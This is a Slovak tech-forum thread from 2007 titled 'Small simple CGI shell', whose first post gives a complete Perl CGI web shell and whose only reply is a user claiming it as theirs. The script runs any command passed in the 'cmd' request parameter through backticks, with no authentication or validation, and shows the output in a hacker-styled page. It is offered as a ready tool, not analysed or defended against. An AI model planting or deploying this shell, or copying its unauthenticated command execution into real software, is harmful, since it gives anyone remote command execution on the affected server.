[ Príspevkov: 2 ] 
AutorSpráva
Offline

Prevádzkovateľ fóra
Prevádzkovateľ fóra
Malý jednoduchý CGI shell

Registrovaný: 01.05.05
Príspevky: 13557
Témy: 1483 | 1483
Bydlisko: Bratislava
NapísalOffline : 29.08.2007 16:26 | Malý jednoduchý CGI shell

Kód:
#!/usr/bin/perl
use CGI;

my $cgi = new CGI;

my $cmd = $cgi->param("cmd");

@command = `$cmd`;

print "Content-type: text/html\r\n\r\n";
print '
<style>
<!--
html,body {font-family:arial; font-size:10pt}
table,tr,td { border: 1px solid green ; font-size:10pt;}
td { padding:5px}
a {color: green; text-decoration:none}
a:hover {color: green; text-decoration:underline}
input { background-color: #000; color: #FFFFFF; border: 1px solid #0F5;}
-->
</style>
<body style="background-color: rgb(0, 0, 0); color: rgb(0, 205, 0);" alink="#ee0000" link="#0000ee" vlink="#551a8b">
<form name="daform" action="shell.cgi" method="get" enctype="text/plain">
wire@webshell# <input cmd="cmd" NAME="cmd" size="15"><input type="submit" value="Enter"><br>
</form>
<table cellspacing=1 >
<tr><td style="background-color:black; color:green; font-weight:bold"width=600 height=410 VALIGN=TOP>

';


print "<pre>wire\@webshell> $cmd \n";
foreach $line (@command) {
print "$line";
}
print '</pre></td></tr></table>';
print '<br><br>
by Wiro Wire @ 2006
';
exit (0);


Vytvoril ho Wiro.


_________________
Streacom DA2 | SilverStone Titanium SX800-LTI 800W | ASRock X299E-ITX/ac | Intel Core i9-9980XE & be quiet! Dark Rock TF | Kingston HyperX Impact 64 GB DDR4 2666 MHz | NVIDIA Titan RTX 24 GB | Intel SSD Optane 905P 480 GB NVMe U.2 & Intel SSD 750 1,2 TB NVMe U.2 & Intel SSD 660p 2 TB NVMe M.2 & Seagate BackUp Plus Portable 56 TB USB | 55" 4K OLED Dell Alienware AW5520QF | Ergotron LX Wall Mount Keyboard Arm | Logitech Craft | Logitech G603 | Logitech F710 | Harman Kardon Sabre SB 35 & Sennheiser RS 175 | Microsoft Windows 11 Enterprise | APC Back-UPS BE-850 VA | Lenovo ThinkPad X1 Carbon | SilverStone ML05B Milo | Corsair SF600 SFX 600W | ASRock X99E-ITX/ac | Intel Xeon E5-2683 v4 & NOCTUA NH-L12S | Kingston HyperX Savage 32 GB DDR4 2400 MHz | NVIDIA GeForce GT 710 1 GB | Intel SSD Optane Memory 32 GB NVMe M.2 & Intel SSD 730 240 GB SATA & Samsung SSD 860 1 TB | Ubuntu 24.04 LTS | Dell Wyse 3040 | Intel Atom x5-Z8350 | 2 GB DDR3 1600 MHz | 16 GB eMMC | 24" EIZO FlexScan EV2451 | Alpine Linux + XFCE4
Offline

Užívateľ
Užívateľ
Malý jednoduchý CGI shell

Registrovaný: 13.07.06
Prihlásený: 22.10.07
Príspevky: 61
Témy: 5 | 5
NapísalOffline : 22.10.2007 22:49 | Malý jednoduchý CGI shell

jej to je moj shell :))


 [ Príspevkov: 2 ] 


Malý jednoduchý CGI shell



Podobné témy

 Témy  Odpovede  Zobrazenia  Posledný príspevok 
V tomto fóre nie sú ďalšie neprečítané témy.

CGI-skripty

v Frontend

10

593

03.07.2010 15:05

shaggy

V tomto fóre nie sú ďalšie neprečítané témy.

CGI & Perl

v Backend

1

2200

25.02.2008 9:39

JanoF

V tomto fóre nie sú ďalšie neprečítané témy.

Help s CGI

v Backend

3

2011

07.02.2009 16:18

idiotart

V tomto fóre nie sú ďalšie neprečítané témy.

cgi script - problem s hostingom ?

v Backend

7

1740

12.04.2010 14:30

snake2

V tomto fóre nie sú ďalšie neprečítané témy.

Čo je to PERL, Python, CGI

v Backend

2

7650

26.09.2009 14:19

Ded'leg

V tomto fóre nie sú ďalšie neprečítané témy.

Shell

v Hosting, servery a domény

0

1155

24.03.2007 19:49

Numline1

V tomto fóre nie sú ďalšie neprečítané témy.

shell

v Ostatné

5

473

18.10.2013 13:51

BX

V tomto fóre nie sú ďalšie neprečítané témy.

Shell scripty

v Backend

1

971

15.12.2010 22:02

Ďuri

V tomto fóre nie sú ďalšie neprečítané témy.

Shell - kde?

v Hosting, servery a domény

2

1083

03.07.2008 6:38

brm

V tomto fóre nie sú ďalšie neprečítané témy.

PHP-Shell problem

v Backend

4

571

25.03.2008 11:32

socket

V tomto fóre nie sú ďalšie neprečítané témy.

NetBeans a shell/ cmd

v Backend

8

627

17.11.2012 19:34

vama

V tomto fóre nie sú ďalšie neprečítané témy.

Shell/Philips zlavove kupony

v Krčma

15

3311

31.01.2021 20:56

monica

V tomto fóre nie sú ďalšie neprečítané témy.

Vytvorenie scriptu v shell ....

v Unix-like systémy

1

686

03.11.2007 8:32

stenley

V tomto fóre nie sú ďalšie neprečítané témy.

[VYRIESENE] spustenie shell skriptu

v Backend

8

886

23.02.2009 11:44

Feko

V tomto fóre nie sú ďalšie neprečítané témy.

modely Ferrari z cerpacky Shell

v Diskusia

23

2107

03.09.2008 12:08

sairik

V tomto fóre nie sú ďalšie neprečítané témy.

Win 8.1 classic shell

v Windows

0

345

21.12.2013 18:48

AsuSmaNiaK



© 2005 - 2026 PCforum, edited by JanoF